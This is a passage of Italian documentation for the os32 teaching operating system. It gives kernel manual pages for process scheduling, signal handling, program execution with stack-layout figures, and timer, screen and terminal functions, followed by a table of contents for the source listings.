Poi inizia la ricerca di un altro processo, candidato a essere ripreso al posto di quello interrotto. La ricerca inizia dal processo successivo a quello interrotto, senza considerare alcun criterio di precedenza. Il ciclo termina se la ricerca incontra di nuovo il processo di partenza. All'interno di questo ciclo di ricerca, se si incontra un processo pronto per essere messo in funzione, lo si scambia con quello interrotto: in pratica si salva il valore attuale dell'indice della pila, si scambiano gli stati e si aggiornano i valori di ***proc_current***, ***proc_stack_segment_selector*** e ***proc_stack_pointer***, in modo da ottenere effettivamente lo scambio all'uscita dalla funzione. Alla fine del ciclo, occorre verificare se esiste effettivamente un processo successivo attivato, perché in caso contrario, si lascia il controllo direttamente al kernel. In fine, si salva il valore accumulato in precedenza dell'indice della pila del kernel, nella variabile ***_ksp***.

Questa funzione viene usata dalla routine '**`irq_timer`**' del file '`kernel/ibm_i386/isr.s`' e dalla funzione *sysroutine(9)* [118.14.27].

FILE SORGENTI

'`kernel/proc.h`' [119.13]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

'`kernel/proc/proc_scheduler.c`' [119.13.11]

VEDERE ANCHE

proc_sch_timers(9) [118.14.9], *proc_sch_signals(9)* [118.14.7], *proc_sch_terminals(9)* [118.14.8].

118.14.11 os32: proc_sig_chld(9)

NOME

'**`proc_sig_chld`**' - procedura associata alla ricezione di un segnale SIGCHLD

SINTASSI

```
<kernel/proc.h>
void proc_sig_chld (pid_t parent, int sig);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***parent***	Numero del processo considerato, il quale potrebbe avere ricevuto un segnale SIGCHLD.
`int` ***sig***	Numero del segnale: deve trattarsi esclusivamente di quanto corrispondente a SIGCHLD.

DESCRIZIONE

La funzione ***proc_sig_chld()*** si occupa di verificare che il processo specificato con il parametro ***parent*** abbia ricevuto precedentemente un segnale SIGCHLD. Se risulta effettivamente così, allora va a verificare se tale segnale risulta ignorato per quel processo: se è preso in considerazione verifica ancora se quel processo è sospeso proprio in attesa di un segnale SIGCHLD. Se si tratta di un processo che sta attendendo tale segnale, allora viene risvegliato, altrimenti, sempre ammesso che comunque il segnale non sia ignorato, la funzione elimina tutti i processi figli di ***parent***, i quali risultano già defunti, ma non ancora rimossi dalla tabella dei processi (pertanto processi «zombie»).

In pratica, se il processo ***parent*** sta attendendo un segnale SIGCHLD, significa che al risveglio si aspetta di verificare la morte di uno dei suoi processi figli, in modo da poter ottenere il valore di uscita con cui questo si è concluso. Diversamente, non c'è modo di informare il processo ***parent*** di tali conclusioni, per cui a nulla servirebbe continuare a mantenerne le tracce nella tabella dei processi.

Questa funzione viene usata soltanto da *proc_sch_signals(9)* [118.14.7].

FILE SORGENTI

'`kernel/proc.h`' [119.13]

'`kernel/proc/proc_sig_chld.c`' [119.13.12]

VEDERE ANCHE

proc_sig_status(9) [118.14.18], *proc_sig_ignore(9)* [118.14.15], *proc_sig_off(9)* [118.14.17].

118.14.12 os32: proc_sig_cont(9)

NOME

'**`proc_sig_cont`**' - ripresa di un processo sospeso in attesa di qualcosa

SINTASSI

```
<kernel/proc.h>
void proc_sig_cont (pid_t pid, int sig);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Numero del processo considerato.
`int` ***sig***	Numero del segnale: deve trattarsi esclusivamente di quanto corrispondente a SIGCONT.

DESCRIZIONE

La funzione ***proc_sig_cont()*** si occupa di verificare che il processo specificato con il parametro ***pid*** abbia ricevuto precedentemente un segnale SIGCONT e che questo non sia stato disabilitato. In tal caso, assegna al processo lo status di «pronto» ('**`PROC_READY`**'), ammesso che non si trovasse già in questa situazione.

Lo scopo del segnale SIGCONT è quindi quello di far riprendere un processo che in precedenza fosse stato sospeso attraverso un segnale SIGSTOP, SIGTSTP, SIGTTIN oppure SIGTTOU.

Questa funzione viene usata soltanto da *proc_sch_signals(9)* [118.14.7].

FILE SORGENTI

'`kernel/proc.h`' [119.13]

'`kernel/proc/proc_sig_cont.c`' [119.13.13]

VEDERE ANCHE

proc_sig_status(9) [118.14.18], *proc_sig_ignore(9)* [118.14.15], *proc_sig_off(9)* [118.14.17].

118.14.13 os32: proc_sig_core(9)

NOME

'**`proc_sig_core`**' - chiusura di un processo e scarico della memoria su file

SINTASSI

```
<kernel/proc.h>
void proc_sig_core (pid_t pid, int sig);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Numero del processo considerato.
`int` ***sig***	Numero del segnale: deve trattarsi di un segnale a cui si associa in modo predefinito la conclusione e lo scarico della memoria.

DESCRIZIONE

La funzione ***proc_sig_core()*** si occupa di verificare che il processo specificato con il parametro ***pid*** abbia ricevuto precedentemente un segnale tale da richiedere la conclusione e lo scarico della memoria del processo stesso, e che il segnale in questione non sia stato disabilitato. In tal caso, la funzione chiude il processo, ma prima ne scarica la memoria su uno o due file, avvalendosi per questo della funzione *proc_dump_memory(9)* [118.14.2].

Un segnale atto a produrre lo scarico della memoria, potrebbe essere prodotto anche a seguito di un errore rilevato dalla CPU, come una divisione per zero. Tuttavia, il kernel di os32 non riesce a intrappolare errori di questo tipo, dato che dalla tabella IVT vengono presi in considerazione soltanto l'impulso del temporizzatore e le chiamate di sistema. In altri termini, se un programma produce effettivamente un errore così grave da essere rilevato dalla CPU, al sistema operativo non arriva alcuna comunicazione. Pertanto, tali segnali possono essere soltanto provocati deliberatamente.

Lo scarico della memoria, nell'eventualità di un errore così grave, dovrebbe servire per consentire un'analisi dello stato del processo nel momento del verificarsi di un errore fatale. Sotto questo aspetto, va anche considerato che l'area dati dei processi è priva di

etichette che possano agevolare l'interpretazione dei contenuti e, di conseguenza, non ci sono strumenti che consentano tale attività.

Questa funzione viene usata soltanto da *proc_sch_signals(9)* [118.14.7].

FILE SORGENTI

'`kernel/proc.h`' [119.13]

'`kernel/proc/proc_sig_core.c`' [119.13.14]

VEDERE ANCHE

proc_sig_status(9) [118.14.18], *proc_sig_ignore(9)* [118.14.15], *proc_sig_off(9)* [118.14.17], *proc_dump_memory(9)* [118.14.2].

118.14.14 os32: proc_sig_handler(9)

NOME

'**`proc_sig_handler`**' - attivazione di una funzione a seguito del recepimento di un segnale

SINTASSI

```
<kernel/proc.h>
void proc_sig_handler (pid_t pid, int sig);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Numero del processo considerato.
`int` ***sig***	Numero del segnale da verificare.

DESCRIZIONE

La funzione ***proc_sig_handler()*** verifica se, per un certo processo ***pid***, il segnale ***sig*** risulti associato a una funzione. Se è così, modifica la pila dei dati del processo in modo da far si che alla sua ripresa, venga azionata la funzione programmata, prima di riprendere con l'attività precedente. Contestualmente, il segnale ***sig*** viene liberato dall'associazione a una funzione.

Questa funzione viene usata da *proc_sig_cont(9)* [118.14.12], *proc_sig_core(9)* [118.14.13], *proc_sig_stop(9)* [118.14.19] e *proc_sig_term(9)* [118.14.20], per verificare se un segnale sia stato associato a una funzione; prima di decidere di eseguire l'azione predefinita, in mancanza di tale associazione.

FILE SORGENTI

'`kernel/proc.h`' [119.13]

'`kernel/proc/proc_sig_handler.c`' [119.13.15]

VEDERE ANCHE

proc_sig_cont(9) [118.14.12], *proc_sig_core(9)* [118.14.13], *proc_sig_stop(9)* [118.14.19]m *proc_sig_term(9)* [118.14.20].

118.14.15 os32: proc_sig_ignore(9)

NOME

'**proc_sig_ignore**' - verifica dello stato di inibizione di un segnale

SINTASSI

```
<kernel/proc.h>
int proc_sig_ignore (pid_t pid, int sig);
```

ARGOMENTI

Argomento	Descrizione
pid_t ***pid***	Numero del processo considerato.
int ***sig***	Numero del segnale da verificare.

DESCRIZIONE

La funzione ***proc_sig_ignore()*** verifica se, per un certo processo ***pid***, il segnale ***sig*** risulti inibito.

Questa funzione viene usata da *proc_sig_chld(9)* [118.14.11], *proc_sig_cont(9)* [118.14.12], *proc_sig_core(9)* [118.14.13], *proc_sig_stop(9)* [118.14.19] e *proc_sig_term(9)* [118.14.20], per verificare se un segnale sia stato inibito, prima di applicarne le conseguenze, nel caso fosse stato ricevuto.

VALORE RESTITUITO

Valore	Significato
1	Il segnale risulta bloccato (inibito).
0	Il segnale è abilitato regolarmente.

FILE SORGENTI

'`kernel/proc.h`' [119.13]

'`kernel/proc/proc_sig_ignore.c`' [119.13.16]

VEDERE ANCHE

proc_sig_chld(9) [118.14.11], *proc_sig_cont(9)* [118.14.12], *proc_sig_core(9)* [118.14.13], *proc_sig_stop(9)* [118.14.19]m *proc_sig_term(9)* [118.14.20].

118.14.16 os32: proc_sig_off(9)

Vedere *proc_sig_on(9)* [118.14.17].

118.14.17 os32: proc_sig_on(9)

NOME

'`proc_sig_on`', '`proc_sig_off`' - registrazione o cancellazione di un segnale per un processo

SINTASSI

```
<kernel/proc.h>
void proc_sig_on  (pid_t pid, int sig);
void proc_sig_off (pid_t pid, int sig);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Numero del processo considerato.
`int` ***sig***	Numero del segnale da registrare o da cancellare.

DESCRIZIONE

La funzione ***proc_sig_on()*** annota per il processo ***pid*** la ricezione del segnale ***sig***; la funzione ***proc_sig_off()*** procede invece in senso opposto, cancellando quel segnale.

La funzione ***proc_sig_off()*** viene usata quando l'azione prevista per un segnale che risulta ricevuto è stata eseguita, allo scopo di riportare l'indicatore di quel segnale in una condizione di riposo. Si tratta delle funzioni *proc_sig_chld(9)* [118.14.11], *proc_sig_cont(9)* [118.14.12], *proc_sig_core(9)* [118.14.13], *proc_sig_stop(9)* [118.14.19] e *proc_sig_term(9)* [118.14.20].

La funzione ***proc_sig_on()*** viene usata quando risulta acquisito un segnale o quando il contesto lo deve produrre, per annotarlo. Si tratta delle funzioni *s__exit(9)* [118.9] e *s_kill(9)* [118.9].

FILE SORGENTI

'`kernel/proc.h`' [119.13]

'`kernel/proc/proc_sig_on.c`' [119.13.18]

'`kernel/proc/proc_sig_off.c`' [119.13.17]

VEDERE ANCHE

proc_sig_chld(9) [118.14.11], *proc_sig_cont(9)* [118.14.12], *proc_sig_core(9)* [118.14.13], *proc_sig_stop(9)* [118.14.19], *proc_sig_term(9)* [118.14.20].

118.14.18 os32: proc_sig_status(9)

NOME

'**proc_sig_status**' - verifica dello stato di ricezione di un segnale

SINTASSI

```
<kernel/proc.h>
int proc_sig_status (pid_t pid, int sig);
```

ARGOMENTI

Argomento	Descrizione
pid_t *pid*	Numero del processo considerato.
int *sig*	Numero del segnale da verificare.

DESCRIZIONE

La funzione ***proc_sig_status()*** verifica se, per un certo processo ***pid***, il segnale ***sig*** risulti essere stato ricevuto (registrato).

Questa funzione viene usata da *proc_sig_chld(9)* [118.14.11], *proc_sig_cont(9)* [118.14.12], *proc_sig_core(9)* [118.14.13], *proc_sig_stop(9)* [118.14.19] e *proc_sig_term(9)* [118.14.20], per verificare se un segnale è stato ricevuto effettivamente, prima di applicarne eventualmente le conseguenze.

VALORE RESTITUITO

Valore	Significato
1	Il segnale risulta ricevuto.
0	Il segnale risulta cancellato.

FILE SORGENTI

'kernel/proc.h' [119.13]

'kernel/proc/proc_sig_status.c' [119.13.19]

VEDERE ANCHE

proc_sig_chld(9) [118.14.11], *proc_sig_cont(9)* [118.14.12], *proc_sig_core(9)* [118.14.13], *proc_sig_stop(9)* [118.14.19], *proc_sig_term(9)* [118.14.20].

118.14.19 os32: proc_sig_stop(9)

NOME

'**proc_sig_stop**' - sospensione di un processo

SINTASSI

```
<kernel/proc.h>
void proc_sig_stop (pid_t pid, int sig);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Numero del processo considerato.
`int` ***sig***	Numero del segnale: deve trattarsi di SIGSTOP, SIGTSTP, SIGTTIN o SIGTTOU.

DESCRIZIONE

La funzione ***proc_sig_stop()*** si occupa di verificare che il processo specificato con il parametro ***pid*** abbia ricevuto precedentemente un segnale SIGSTOP, SIGTSTP, SIGTTIN o SIGTTOU, e che questo non sia stato disabilitato. In tal caso, sospende il processo, lasciandolo in attesa di un segnale (SIGCONT).

Questa funzione viene usata soltanto da *proc_sch_signals(9)* [118.14.7].

FILE SORGENTI

'`kernel/proc.h`' [119.13]

'`kernel/proc/proc_sig_stop.c`' [119.13.20]

VEDERE ANCHE

proc_sig_status(9) [118.14.18], *proc_sig_ignore(9)* [118.14.15], *proc_sig_off(9)* [118.14.17].

118.14.20 os32: proc_sig_term(9)

«

NOME

'**`proc_sig_term`**' - conclusione di un processo

SINTASSI

```
<kernel/proc.h>
void proc_sig_term (pid_t pid, int sig);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Numero del processo considerato.
`int` ***sig***	Numero del segnale: deve trattarsi di un segnale per cui si associa la conclusione del processo, ma senza lo scarico della memoria.

DESCRIZIONE

La funzione ***proc_sig_term()*** si occupa di verificare che il processo specificato con il parametro ***pid*** abbia ricevuto precedentemente un segnale per cui si prevede generalmente la conclusione del processo. Inoltre, la funzione verifica che il segnale non sia stato inibito, con l'eccezione che per il segnale SIGKILL un'eventuale inibizione non viene considerata (in quanto segnale non mascherabile). Se il segnale risulta ricevuto e valido, procede con la conclusione del processo.

Questa funzione viene usata soltanto da *proc_sch_signals(9)* [118.14.7].

FILE SORGENTI

'`kernel/proc.h`' [119.13]

'`kernel/proc/proc_sig_term.c`' [119.13.21]

VEDERE ANCHE

proc_sig_status(9) [118.14.18], *proc_sig_ignore(9)* [118.14.15], *proc_sig_off(9)* [118.14.17].

118.14.21 os32: proc_sys_exec(9)

NOME

'**`proc_sys_exec`**' - sostituzione di un processo esistente con un altro, ottenuto dal caricamento di un file eseguibile

SINTASSI

```
<kernel/proc.h>
int proc_sys_exec (pid_t pid, const char *path,
                   unsigned int argc, char *arg_data,
                   unsigned int envc, char *env_data)
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo corrispondente.
`const char *`***path***	Il percorso assoluto del file da caricare ed eseguire.
`unsigned int` ***argc***	La quantità di argomenti per l'avvio del nuovo processo, incluso il nome del processo stesso.
`char *`***arg_data***	Una sequenza di stringhe (dopo la terminazione di una inizia la successiva), ognuna contenente un argomento da passare al processo.
`unsigned int` ***envc***	La quantità di variabili di ambiente da passare al nuovo processo.
`char *`***env_data***	Una sequenza di stringhe (dopo la terminazione di una inizia la successiva), ognuna contenente l'assegnamento di una variabile di ambiente.

I parametri ***arg_data*** e ***env_data*** sono stringhe multiple, nel senso che sono separate le une dalle altre dal codice nullo di terminazione. Per sapere quante sono effettivamente le stringhe da cercare a partire dai puntatori che costituiscono effettivamente questi due parametri, si usano ***argc*** e ***envc***.

DESCRIZIONE

La funzione ***proc_sys_exec()*** serve a mettere in pratica la chiamata di sistema *execve(2)* [112.11], destinata a rimpiazzare il processo in corso con un nuovo processo, caricato da un file eseguibile.

La funzione ***proc_sys_exec()***, dopo aver verificato che si tratti effettivamente di un file eseguibile valido e che ci siano i permessi per metterlo in funzione, procede all'allocazione della memoria, quindi legge il file e copia opportunamente le componenti di questo nelle aree di memoria allocate.

Terminato il caricamento del file, viene ricostruita in memoria la pila dei dati del nuovo processo. Prima si mettono sul fondo le stringhe delle variabili di ambiente e quelle degli argomenti della chiamata, quindi si aggiungono i puntatori alle stringhe delle variabili di ambiente, ricostruendo così l'array noto convenzionalmente come '**`envp[]`**', continuando con l'aggiunta dei puntatori alle stringhe degli argomenti della chiamata, per riprodurre l'array '**`argv[]`**'. Per ricostruire gli argomenti della chiamata della funzione ***main()*** dell'applicazione, vanno però aggiunti ancora: il puntatore all'inizio dell'array delle stringhe che descrivono le variabili di ambiente, il puntatore all'array delle stringhe che descrivono gli argomenti della chiamata e il valore che rappresenta la quantità di argomenti della chiamata.

Figura 109.68. Caricamento degli argomenti della chiamata della funzione ***main()***.

argc argv envp

$FF90_{16}$									3				$0000FFA4_{16}$				$FF9F_{16}$
$FFA0_{16}$	$0000FFB4_{16}$				$0000FFC0_{16}$				$0000FFC3_{16}$				$0000FFC6_{16}$				$FFAF_{16}$
$FFB0_{16}$	N U L L				$0000FFC8_{16}$				$0000FFDD_{16}$				N U L L				$FFBF_{16}$
$FFC0_{16}$	l	s	\0	–	l	\0	/	\0	C	O	N	S	O	L	E	=	$FFCF_{16}$
$FFD0_{16}$	/	d	e	v	/	c	o	n	s	o	l	e	\0	P	A	T	$FFDF_{16}$
$FFE0_{16}$	H	=	/	b	i	n	:	/	u	s	r	/	b	i	n	:	$FFEF_{16}$
$FFF0_{16}$	/	s	b	i	n	:	/	u	s	r	/	s	b	i	n	\0	$FFFF_{16}$

Fatto ciò, vanno aggiunti tutti i valori necessari allo scambio dei processi, costituiti dai vari registri da rimpiazzare.

Figura 109.69. Completamento della pila con i valori dei registri.

$FF60_{16}$	EAX				ECX				EDX				EBX				$FF6F_{16}$
$FF70_{16}$	EBP				ESI				EDI				DS				$FF7F_{16}$
$FF80_{16}$	ES				FS				GS				EIP				$FF8F_{16}$
$FF90_{16}$	CS				EFLAGS				3				$0000FFA4_{16}$				$FF9F_{16}$
$FFA0_{16}$	$0000FFB4_{16}$				$0000FFC0_{16}$				$0000FFC3_{16}$				$0000FFC6_{16}$				$FFAF_{16}$
$FFB0_{16}$	N	U	L	L	$0000FFC8_{16}$				$0000FFDD_{16}$				N	U	L	L	$FFBF_{16}$
$FFC0_{16}$	l	s	\0	-	l	\0	/	\0	C	O	N	S	O	L	E	=	$FFCF_{16}$
$FFD0_{16}$	/	d	e	v	/	c	o	n	s	o	l	e	\0	P	A	T	$FFDF_{16}$
$FFE0_{16}$	H	=	/	b	i	n	:	/	u	s	r	/	b	i	n	:	$FFEF_{16}$
$FFF0_{16}$	/	s	b	i	n	:	/	u	s	r	/	s	b	i	n	\0	$FFFF_{16}$

Superato il problema della ricostruzione della pila dei dati, la funzione ***proc_sys_exec()*** predispone i descrittori di standard input, standard output e standard error, quindi libera la memoria usata dal processo chiamante e ne rimpiazza i dati nella tabella dei processi con quelli del nuovo processo caricato.

Questa funzione viene usata soltanto da *sysroutine(9)* [118.14.27], in occasione del ricevimento di una chiamata di sistema di tipo '**`SYS_EXEC`**'.

FILE SORGENTI

'`lib/unistd/execve.c`' [120.21.14]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/proc.h`' [119.13]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

'`kernel/proc/proc_sys_exec.c`' [119.13.22]

VEDERE ANCHE

execve(2) [112.11], *sys(2)* [112.46], *sysroutine(9)* [118.14.27], *proc_scheduler(9)* [118.14.10], *path_inode(9)* [118.5.39], *inode_check(9)* [118.5.8], *inode_put(9)* [118.5.20], *inode_file_read(9)* [118.5.10], *dev_io(9)* [118.3.1].

118.14.22 os32: proc_timer_init(9)

NOME

'**`proc_timer_init`**' - inizializzazione del generatore di impulsi (temporizzatore)

SINTASSI

```
<kernel/proc.h>
void proc_timer_init (clock_t freq);
```

ARGOMENTI

Argomento	Descrizione
`clock_t` ***freq***	Frequenza in Hz che si intende produrre. Tuttavia, tutto il sistema è organizzato per gestire una frequenza di 100 Hz, il quale diventa praticamente obbligatorio.

DESCRIZIONE

La funzione ***proc_timer_init()*** viene chiamata esclusivamente dalla funzione *proc_init(9)* [118.14.3], per inizializzare il generatore di impulsi alla frequenza di ***CLOCKS_PER_SEC*** Hz, pari a 100 Hz.

FILE SORGENTI

'`kernel/proc.h`' [119.13]

'`kernel/proc/proc_timer_init.c`' [119.13.23]

VEDERE ANCHE

kmain(9) [118.10], *proc_init(9)* [118.14.3].

118.14.23 os32: proc_wakeup(9)

«

NOME

'**`proc_wakeup_pipe_read`**', '**`proc_wakeup_pipe_write`**', '**`proc_wakeup_terminal`**' - risveglio dei processi in attesa di un condotto o di un terminale.

SINTASSI

```
<kernel/proc.h>
void proc_wakeup_pipe_read (inode_t *inode);
void proc_wakeup_pipe_write (inode_t *inode);
void proc_wakeup_terminal (void);
```

ARGOMENTI

Argomento	Descrizione
`inode_t *`***inode***	Riferimento a una voce della tabella degli inode, con cui si identifica il condotto per il quale si attende di poter leggere o scrivere.

DESCRIZIONE

Le funzioni ***proc_wakeup_...()*** hanno lo scopo di scandire la tabella dei processi, alla ricerca di quelli da risvegliare, a seguito di un evento che richiede o può richiedere la loro attenzione. Le funzioni ***proc_wakeup_pipe_...()*** risvegliano esclusivamente i processi che sono in attesa di accedere a un condotto identificato attraverso un inode, mentre ***proc_wakeup_terminal()*** va a risvegliare tutti i processi in attesa del terminale, anche quelli che probabilmente non sono interessati direttamente da un input disponibile da tastiera.

FILE SORGENTI

'`kernel/proc.h`' [119.13]

'`kernel/proc/proc_wakeup_pipe_read.c`' [119.13.24]

'`kernel/proc/proc_wakeup_pipe_write.c`' [119.13.25]

'`kernel/proc/proc_wakeup_terminal.c`' [119.13.26]

VEDERE ANCHE

proc_sch_terminals(9) [118.14.8].

118.14.24 os32: proc_wakeup_pipe_read(9)

Vedere *proc_wakeup(9)* [118.14.23].

118.14.25 os32: proc_wakeup_pipe_write(9)

Vedere *proc_wakeup(9)* [118.14.23].

118.14.26 os32: proc_wakeup_terminal(9)

Vedere *proc_wakeup(9)* [118.14.23].

118.14.27 os32: sysroutine(9)

NOME

'**`s_sysroutine`**' - attuazione delle chiamate di sistema

SINTASSI

```
<kernel/proc.h>
extern pid_t proc_current;
void sysroutine (uint32_t syscallnr, uint32_t msg_off, uint32_t msg_size);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***proc_current***	Il numero del processo interrotto.
`uint32_t` ***syscallnr***	Il numero della chiamata di sistema.
`uint32_t` ***msg_off***	Nonostante il tipo di variabile, si tratta del **puntatore** alla posizione di memoria in cui inizia il messaggio con gli argomenti della chiamata di sistema, ma tale puntatore è valido solo nell'ambito del segmento dati del processo interrotto.
`uint32_t` ***msg_size***	La lunghezza del messaggio della chiamata di sistema.

DESCRIZIONE

La funzione ***sysroutine()*** viene chiamata esclusivamente dalla routine '**`isr_128`**', contenuta nel file '`kernel/ibm_i386/isr.s`' [119.6.21], a seguito di una chiamata di sistema.

Inizialmente, la funzione individua l'indirizzo corrispondente alla posizione del messaggio proveniente dal processo, dal punto di vista del kernel; in pratica traduce ***msg_off*** in qualcosa di adatto al kernel.

Attraverso un'unione di variabili strutturate, tutti i tipi di messaggi gestibili per le chiamate di sistema vengono dichiarati assieme in un'unica area di memoria. Successivamente, la funzione deve trasferire il messaggio, dall'indirizzo calcolato precedentemente all'inizio dell'unione in questione.

Quando la funzione è in grado di accedere ai dati del messaggio, procede con una grande struttura di selezione, sulla base del tipo di messaggio, quindi esegue ciò che è richiesto, avvalendosi prevalentemente di altre funzioni, interpretando il messaggio in modo diverso a seconda del tipo di chiamata.

Il messaggio originale viene poi sovrascritto con le informazioni prodotte dall'azione richiesta, in particolare viene trasferito anche il valore della variabile ***errno*** del kernel, in modo che possa essere recepita anche dal processo che ha eseguito la chiamata, in caso di esito erroneo. Pertanto, il messaggio viene riscritto a partire dall'indirizzo da cui era stato copiato precedentemente, in modo da renderlo disponibile effettivamente al processo chiamante.

Quando la funzione ***sysroutine()*** ha finito il suo lavoro, chiama a sua volta *proc_scheduler(9)* [118.14.10], perché con l'occasione provveda eventualmente alla sostituzione del processo attivo con un altro che si trovi nello stato di pronto.

VALORE RESTITUITO

La funzione non restituisce alcun valore, in quanto tutto ciò che c'è da restituire viene trasmesso con la riscrittura del messaggio, nell'area di memoria originale.

FILE SORGENTI

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/proc.h`' [119.13]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

VEDERE ANCHE

sys(2) [112.46], *proc_scheduler(9)* [118.14.10], *dev_io(9)* [118.3.1], *lib_s(9)* [118.9].

118.15 os32: screen(9)

Il file '`kernel/driver/screen.h`' [119.4.19] descrive le funzioni per la gestione dello schermo, in relazione alla gestione complessiva dei terminali virtuali.

Per la descrizione dell'organizzazione della gestione dello schermo di os32, si rimanda alla sezione 109.7.5.2. La tabella successiva che sintetizza l'uso delle funzioni di questo gruppo, è tratta da lì.

Tabella 109.88. Funzioni per la gestione dello schermo, dichiarate nel file di intestazione ‘`kernel/driver/screen.h`’ e descritte nei file contenuti nella directory ‘`kernel/driver/screen/`’.

Funzione	Descrizione
`int screen_clear (screen_t *screen);`	Ripulisce il contenuto dello schermo selezionato, riposizionando il cursore all’inizio.
`screen_t *screen_current (void);`	Restituisce il puntatore alla voce della tabella ***screen_table[]*** che descrive lo schermo virtuale attivo.
`void screen_init (void);`	Inizializza la gestione degli schermi virtuali, ripulendoli e collocando il cursore all’inizio. Questa funzione viene usata da ***tty_init()***.
`int screen_newline (screen_t *screen);`	Produce sullo schermo virtuale selezionato un avanzamento alla riga successiva. Ciò può comportare semplicemente il riposizionamento del cursore, oppure lo scorrimento in avanti del contenuto, quando il cursore si trova già sull’ultima riga visualizzabile.
`int screen_number (screen_t *screen);`	Restituisce il numero dello schermo corrispondente al puntatore fornito, purché questo sia valido. È in pratica l’opposto della funzione ***screen_pointer()***.
`screen_t *screen_pointer (int scrn);`	Restituisce il puntatore alla voce della tabella ***screen_table[]*** che descrive lo schermo virtuale indicato per numero. È in pratica l’opposto della funzione ***screen_number()***.
`int screen_putc (screen_t *screen, int c);`	Colloca sullo schermo virtuale individuato dal puntatore che costituisce il primo parametro, il carattere richiesto come secondo. Se il carattere in questione è *<CR>* o *<LF>*, si produce un avanzamento alla riga successiva, mentre con un carattere *<BS>* si produce un arretramento del cursore.
`uint16_t screen_cell (c, attributo);`	Si tratta di una macro-istruzione che produce il valore corretto per una cella dello schermo VGA, contenente sia l’informazione sul carattere, sia quella dell’attributo associato.
`int screen_scroll (screen_t *screen);`	Fa scorrere in avanti lo schermo, di una riga, ricollocando di conseguenza il cursore.
`int screen_select (screen_t *screen);`	Seleziona lo schermo indicato come schermo attivo, facendone apparire il contenuto sullo schermo VGA reale.
`void screen_update (screen_t *screen);`	Aggiorna la memoria VGA sulla base della copia che rappresenta lo schermo virtuale attivo. L’aggiornamento implica anche la collocazione del cursore visibile in corrispondenza della posizione attuale.

118.16 os32: tty(9)

Il file ‘kernel/driver/tty.h’ [119.4.31] descrive le funzioni per la gestione dei terminali virtuali.

Per la descrizione dell’organizzazione della gestione dei terminali virtuali di os32, si rimanda alla sezione 109.7.5. La tabella successiva che sintetizza l’uso delle funzioni di questo gruppo, è tratta da lì.

Tabella 109.84. Funzioni per l’accesso al terminale, dichiarate nel file di intestazione ‘kernel/driver/tty.h’ e descritte nei file contenuti nella directory ‘kernel/driver/tty/’.

Funzione	Descrizione
`dev_t tty_console (dev_t` ***device***`);`	Seleziona un terminale virtuale, rendendolo attivo, specificandone il numero del dispositivo. La funzione restituisce il dispositivo attivo in precedenza e se le viene fornito solo il valore zero, il terminale virtuale non cambia, ma si ottiene comunque di conoscere qual è quello attuale.
`void tty_init (void);`	Inizializza la gestione dei terminali virtuali, popolando anche la tabella ***tty_table[]*** con i valori predefiniti. Questa funzione viene usata una volta sola all’interno di ***kmain()***.
`int tty_read (dev_t` ***device***`);`	Legge un carattere dal terminale virtuale specificato attraverso il numero di dispositivo. La lettura avviene solo se l’input da tastiera risulta concluso, altrimenti la funzione restituisce il valore -1.
`tty_t *tty_reference (dev_t` ***device***`);`	Restituisce il puntatore alla voce della tabella ***tty_table[]*** contenente le informazioni sul terminale virtuale indicato attraverso il numero di dispositivo. Se il dispositivo indicato non è valido, si ottiene il puntatore nullo; se viene richiesto il dispositivo indefinito, si ottiene il puntatore all’inizio della tabella.
`void tty_write (dev_t` ***device***`, int` ***c***`);`	Scrive un carattere sullo schermo del terminale specificato.

Parte x

Codice

119 Script e sorgenti del kernel 7025

119.1 os32: directory principale 7031
119.2 os32: «kernel/blk.h» 7043
119.3 os32: «kernel/dev.h» 7055
119.4 os32: «kernel/dm.h» 7074
119.5 os32: «kernel/fs.h» 7121
119.6 os32: «kernel/ibm_i386.h» 7207
119.7 os32: «kernel/lib_k.h» 7248
119.8 os32: «kernel/lib_s.h» 7259
119.9 os32: «kernel/main.h» 7337
119.10 os32: «kernel/memory.h» 7353
119.11 os32: «kernel/multiboot.h» 7370
119.12 os32: «kernel/part.h» 7377
119.13 os32: «kernel/proc.h» 7384

120 Sorgenti della libreria generale 7451

120.1 os32: file isolati della directory «lib/» 7457
120.2 os32: «lib/_gcc.h» 7465
120.3 os32: «lib/dirent.h» 7476
120.4 os32: «lib/errno.h» 7489
120.5 os32: «lib/fcntl.h» 7500
120.6 os32: «lib/grp.h» 7510
120.7 os32: «lib/inttypes.h» 7519
120.8 os32: «lib/libgen.h» 7532
120.9 os32: «lib/pwd.h» 7541
120.10 os32: «lib/setjmp.h» 7550
120.11 os32: «lib/signal.h» 7559
120.12 os32: «lib/stdio.h» 7568
120.13 os32: «lib/stdlib.h» 7645
120.14 os32: «lib/string.h» 7686
120.15 os32: «lib/sys/os32.h» 7709
120.16 os32: «lib/sys/stat.h» 7734
120.17 os32: «lib/sys/types.h» 7747
120.18 os32: «lib/sys/wait.h» 7755
120.19 os32: «lib/termios.h» 7762

120.20 os32: «lib/time.h» 7771
120.21 os32: «lib/unistd.h» 7788
120.22 os32: «lib/utime.h» 7828

121 Sorgenti delle applicazioni 7835

121.1 os32: directory «applic/» 7835

Appendice: un sistema giocattolo, denominato «05» 7959

Preparazione 7961
Directory di lavoro 7962
Libreria standard per iniziare 7968
File isolati per dichiarazioni riprese in più librerie 7969
Librerie specifiche generali 8003
Un primo kernel di prova 8014
Tabella GDT 8020
Gestione della memoria 8026
Tabella IDT 8039
Chiamate di sistema 8059
Interruzioni hardware 8063
Una specie di «shell» 8071

Indice analitico del volume 8077

Capitolo 119

Script e sorgenti del kernel

119.1 os32: directory principale 7031

119.1.1 applic.sep.ld 7031
119.1.2 bochs 7032
119.1.3 elf-to-os32 7032
